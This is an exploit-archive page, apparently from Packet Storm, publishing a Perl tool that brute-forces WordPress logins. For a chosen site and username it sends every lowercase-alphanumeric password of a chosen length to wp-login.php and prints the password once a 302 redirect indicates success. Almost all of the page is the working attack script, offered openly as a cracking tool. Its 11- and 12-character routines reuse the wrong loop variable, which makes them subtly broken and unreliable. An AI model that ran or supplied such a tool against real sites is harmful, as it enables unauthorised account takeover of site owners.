exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WP-Bruteforce c0d3Lib WordPress Bruteforcing Tool

WP-Bruteforce c0d3Lib WordPress Bruteforcing Tool
Posted Jan 8, 2015
Authored by Agha Nata

This is a perl script to bruteforce logins on WordPress.

tags | tool, cracker, perl
SHA-256 | e4fc872f857fd9c0a0f00dbc16b78a2d66efee57cb3bebc394f9630db8af7c35

WP-Bruteforce c0d3Lib WordPress Bruteforcing Tool

Change Mirror Download
    #!/usr/bin/perl

# WP-Bruteforce c0d3Lib
# file : ne0bfwp.pl

use LWP::UserAgent;

$site = $ARGV[0];
$user = $ARGV[1];
if(@ARGV != 3){
print "
WP-Bruteforce c0d3Lib
file : ne0bfwp.pl
How to use: $0 <site> <username> <alphabet digits>
exe: $0 site.com admin [5 to 12 digits]";
exit;
}

if ($site !~ /^http:\/\//){
$site = 'http://' . $site;
}
if ($site !~ /\/wp-login.php/){
$site = $site . '/wp-login.php';
}

my $ua = new LWP::UserAgent;

my $aphabt = chr(97).chr(98).chr(99).chr(100).chr(101);
$aphabt = $aphabt.chr(102).chr(103).chr(104).chr(105);
$aphabt = $aphabt.chr(106).chr(107).chr(108).chr(109);
$aphabt = $aphabt.chr(110).chr(111).chr(112).chr(113);
$aphabt = $aphabt.chr(114).chr(115).chr(116).chr(117);
$aphabt = $aphabt.chr(118).chr(119).chr(120).chr(121);
$aphabt = $aphabt.chr(122).chr(48).chr(49).chr(50).chr(51).chr(52).chr(53).chr(54).chr(55).chr(56).chr(57);

print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
sleep(2);

if($ARGV[2] == 5){
&digitlima;
}
if($ARGV[2] == 6){
&digitgenap;
}
if($ARGV[2] == 7){
&digittujuh;
}
if($ARGV[2] == 8){
&digitselapan;
}
if($ARGV[2] == 9){
&digitsembilan;
}
if($ARGV[2] == 10){
&digitsepuluh;
}
if($ARGV[2] == 11){
&digitsebelasan;
}
if($ARGV[2] == 12){
&digitduabelasan;
}

sub digitlima {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}

sub digitgenap {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}

sub digittujuh {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}

sub digitselapan {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
for (my $p = 0; $p < length($aphabt); $p++){
my $c8 = substr $aphabt, $p, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}
}

sub digitsembilan {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
for (my $p = 0; $p < length($aphabt); $p++){
my $c8 = substr $aphabt, $p, 1;
for (my $q = 0; $q < length($aphabt); $q++){
my $c9 = substr $aphabt, $q, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}
}
}

sub digitsepuluh {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
for (my $p = 0; $p < length($aphabt); $p++){
my $c8 = substr $aphabt, $p, 1;
for (my $q = 0; $q < length($aphabt); $q++){
my $c9 = substr $aphabt, $q, 1;
for (my $r = 0; $r < length($aphabt); $r++){
my $c10 = substr $aphabt, $r, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}
}
}
}

sub digitsebelasan {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
for (my $p = 0; $p < length($aphabt); $p++){
my $c8 = substr $aphabt, $p, 1;
for (my $q = 0; $q < length($aphabt); $q++){
my $c9 = substr $aphabt, $q, 1;
for (my $r = 0; $r < length($aphabt); $r++){
my $c10 = substr $aphabt, $r, 1;
for (my $s = 0; $r < length($aphabt); $r++){
my $c11 = substr $aphabt, $r, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10.$c11;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}
}
}
}
}

sub digitduabelasan {
for (my $i = 0; $i < length($aphabt); $i++){
my $c1 = substr $aphabt, $i, 1;
for (my $j = 0; $j < length($aphabt); $j++){
my $c2 = substr $aphabt, $j, 1;
for (my $k = 0; $k < length($aphabt); $k++){
my $c3 = substr $aphabt, $k, 1;
for (my $l = 0; $l < length($aphabt); $l++){
my $c4 = substr $aphabt, $l, 1;
for (my $m = 0; $m < length($aphabt); $m++){
my $c5 = substr $aphabt, $m, 1;
for (my $n = 0; $n < length($aphabt); $n++){
my $c6 = substr $aphabt, $n, 1;
for (my $o = 0; $o < length($aphabt); $o++){
my $c7 = substr $aphabt, $o, 1;
for (my $p = 0; $p < length($aphabt); $p++){
my $c8 = substr $aphabt, $p, 1;
for (my $q = 0; $q < length($aphabt); $q++){
my $c9 = substr $aphabt, $q, 1;
for (my $r = 0; $r < length($aphabt); $r++){
my $c10 = substr $aphabt, $r, 1;
for (my $s = 0; $r < length($aphabt); $r++){
my $c11 = substr $aphabt, $r, 1;
for (my $s = 0; $r < length($aphabt); $r++){
my $c12 = substr $aphabt, $r, 1;
my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10.$c11.$c12;
my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
my $code = $response->code;
print "[+] Testing... $LPass\n";
if($code == 302){
print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
exit;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
exit;
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close